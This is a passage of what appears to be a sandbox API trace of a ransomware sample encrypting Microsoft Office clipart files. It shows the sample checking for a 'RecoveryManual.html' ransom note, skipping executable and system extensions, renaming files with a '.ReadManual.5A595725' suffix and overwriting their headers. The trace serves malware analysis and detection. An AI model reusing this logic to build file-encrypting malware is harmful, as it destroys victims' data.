MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbe0) returned 0x2f0000 [0266.720] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.720] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38738851852) returned 1 [0266.720] CloseHandle (hObject=0x184) returned 1 [0266.720] SetSecurityInfo () returned 0x57 [0266.720] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.720] CloseHandle (hObject=0x194) returned 1 [0266.720] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1 [0266.720] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107488.WMF" | out: lpString1="J0107488.WMF") returned="J0107488.WMF" [0266.720] lstrcmpiW (lpString1="J0107488.WMF", lpString2="RecoveryManual.html") returned -1 [0266.720] StrStrIW (lpFirst="J0107488.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.720] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.720] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.720] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.720] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.720] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.720] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.720] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.720] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.720] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.720] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.720] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.721] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.721] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.721] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.721] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" [0266.721] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.ReadManual.5A595725" [0266.721] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.ReadManual.5A595725") returned 87 [0266.721] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38738952732) returned 1 [0266.721] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 0x20 [0266.721] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.721] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8000) returned 1 [0266.721] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f40, lpName=0x0) returned 0x184 [0266.721] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.722] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.722] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.724] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.724] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f40) returned 0x2f0000 [0266.724] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.724] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38739285174) returned 1 [0266.724] CloseHandle (hObject=0x184) returned 1 [0266.724] SetSecurityInfo () returned 0x57 [0266.724] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.724] CloseHandle (hObject=0x194) returned 1 [0266.724] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1 [0266.724] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107490.WMF" | out: lpString1="J0107490.WMF") returned="J0107490.WMF" [0266.724] lstrcmpiW (lpString1="J0107490.WMF", lpString2="RecoveryManual.html") returned -1 [0266.725] StrStrIW (lpFirst="J0107490.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.725] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.725] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.725] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" [0266.725] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.ReadManual.5A595725" [0266.725] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.ReadManual.5A595725") returned 87 [0266.725] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38739385192) returned 1 [0266.725] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 0x20 [0266.725] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.726] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16468) returned 1 [0266.726] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4054, lpName=0x0) returned 0x184 [0266.726] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.726] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.726] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.728] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.728] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4054) returned 0x2f0000 [0266.728] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.729] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38739741915) returned 1 [0266.729] CloseHandle (hObject=0x184) returned 1 [0266.729] SetSecurityInfo () returned 0x57 [0266.729] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.729] CloseHandle (hObject=0x194) returned 1 [0266.729] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1 [0266.729] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107492.WMF" | out: lpString1="J0107492.WMF") returned="J0107492.WMF" [0266.729] lstrcmpiW (lpString1="J0107492.WMF", lpString2="RecoveryManual.html") returned -1 [0266.729] StrStrIW (lpFirst="J0107492.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.729] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.729] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.730] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" [0266.730] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.ReadManual.5A595725" [0266.730] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.ReadManual.5A595725") returned 87 [0266.730] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38739840647) returned 1 [0266.730] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 0x20 [0266.730] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.731] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6860) returned 1 [0266.731] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1acc, lpName=0x0) returned 0x184 [0266.731] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.732] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.732] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.733] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.734] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1acc) returned 0x2f0000 [0266.734] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.734] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38740253109) returned 1 [0266.734] CloseHandle (hObject=0x184) returned 1 [0266.734] SetSecurityInfo () returned 0x57 [0266.734] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.734] CloseHandle (hObject=0x194) returned 1 [0266.734] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1 [0266.734] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107494.WMF" | out: lpString1="J0107494.WMF") returned="J0107494.WMF" [0266.734] lstrcmpiW (lpString1="J0107494.WMF", lpString2="RecoveryManual.html") returned -1 [0266.734] StrStrIW (lpFirst="J0107494.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.734] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.734] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.734] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.734] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.734] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.734] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.734] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.734] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.735] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.735] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.735] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.735] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.735] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.735] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.735] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" [0266.735] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.ReadManual.5A595725" [0266.735] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.ReadManual.5A595725") returned 87 [0266.735] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38740357677) returned 1 [0266.735] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 0x20 [0266.735] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.735] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6424) returned 1 [0266.735] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1918, lpName=0x0) returned 0x184 [0266.735] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.736] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.736] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.738] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.738] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1918) returned 0x2f0000 [0266.738] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.738] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38740695904) returned 1 [0266.738] CloseHandle (hObject=0x184) returned 1 [0266.738] SetSecurityInfo () returned 0x57 [0266.738] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.738] CloseHandle (hObject=0x194) returned 1 [0266.738] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1 [0266.739] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107496.WMF" | out: lpString1="J0107496.WMF") returned="J0107496.WMF" [0266.739] lstrcmpiW (lpString1="J0107496.WMF", lpString2="RecoveryManual.html") returned -1 [0266.739] StrStrIW (lpFirst="J0107496.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.739] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.739] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.739] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" [0266.739] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.ReadManual.5A595725" [0266.739] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.ReadManual.5A595725") returned 87 [0266.739] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38740793969) returned 1 [0266.739] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 0x20 [0266.739] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.740] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8864) returned 1 [0266.740] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22a0, lpName=0x0) returned 0x184 [0266.740] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.740] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.740] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.742] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.742] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22a0) returned 0x2f0000 [0266.742] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.743] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38741133523) returned 1 [0266.743] CloseHandle (hObject=0x184) returned 1 [0266.743] SetSecurityInfo () returned 0x57 [0266.743] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.743] CloseHandle (hObject=0x194) returned 1 [0266.743] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1 [0266.743] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107500.WMF" | out: lpString1="J0107500.WMF") returned="J0107500.WMF" [0266.743] lstrcmpiW (lpString1="J0107500.WMF", lpString2="RecoveryManual.html") returned -1 [0266.743] StrStrIW (lpFirst="J0107500.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.743] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.743] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.743] 